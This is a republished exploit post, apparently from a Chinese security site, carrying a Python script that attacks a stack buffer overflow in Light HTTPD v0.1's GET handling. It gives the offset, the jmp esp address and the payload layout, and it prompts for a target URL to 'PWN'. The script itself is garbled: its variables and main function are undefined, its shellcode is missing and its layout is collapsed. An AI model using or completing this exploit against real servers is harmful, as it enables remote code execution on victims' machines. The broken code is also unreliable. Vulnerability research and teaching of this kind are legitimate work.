<*来源:Jacob Holcomb *>测试方法: --------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! import urllib2 from time import sleep ######################################################################################################################################### # Title************************Windows Light HTTPD v0.1 HTTP GET Buffer Overflow # Discovered and Reported******24th of April, 2013 # Discovered/Exploited By******Jacob Holcomb/Gimppy042 # Software Vendor**************http://sourceforge.net/projects/lhttpd/?source=navbar # Exploit/Advisory*************http://infosec42.blogspot.com/ # Software*********************Light HTTPD v0.1 # Tested Platform**************Windows XP Professional SP2 # Date*************************24/04/2013 # #PS - This is a good piece of software to practice Stack Based Buffer Overflows if you curiouz and want to learnz ######################################################################################################################################### # Exploit-DB Note: Offset 255 for Windows XP SP3 # jmp esp ntdll 0x7c31fcd8 # payload = "x90" * 255 + "xd8xfcx91x7c" + "x90" * 32 + shellcode def targURL(): while True:
URL = raw_input("
[*] Please enter the URL of the Light HTTP server you would like to PWN. Ex. http://192.168.1.1
>") if len(URL) != 0 and URL[0:7] == "http://": break
else: print "
[!!!] Target URL cant be null and must contain http:// or https:// [!!!]
" sleep(1)
try: print "
[*] Preparing to send Evil PAYLoAd to %s!
[*] Payload Length: %d
[*] Waiting..." % (target[7:], len(sploit)) httpRequest = urllib2.Request(sploit) sploit = urllib2.urlopen(httpRequest, None, 6) except(urllib2.URLError): print "
[!!!] Error. Please check that the Light HTTP Server is online [!!!]
" except: print "
[!!!] The server did not respond, but the payload was sent. F!ng3r$ Cr0$$3d 4 c0d3 Ex3cut!0n! [!!!]
"
if __name__ == "__main__": main()建议: -------------------------------------------------------------------------------- 厂商补丁: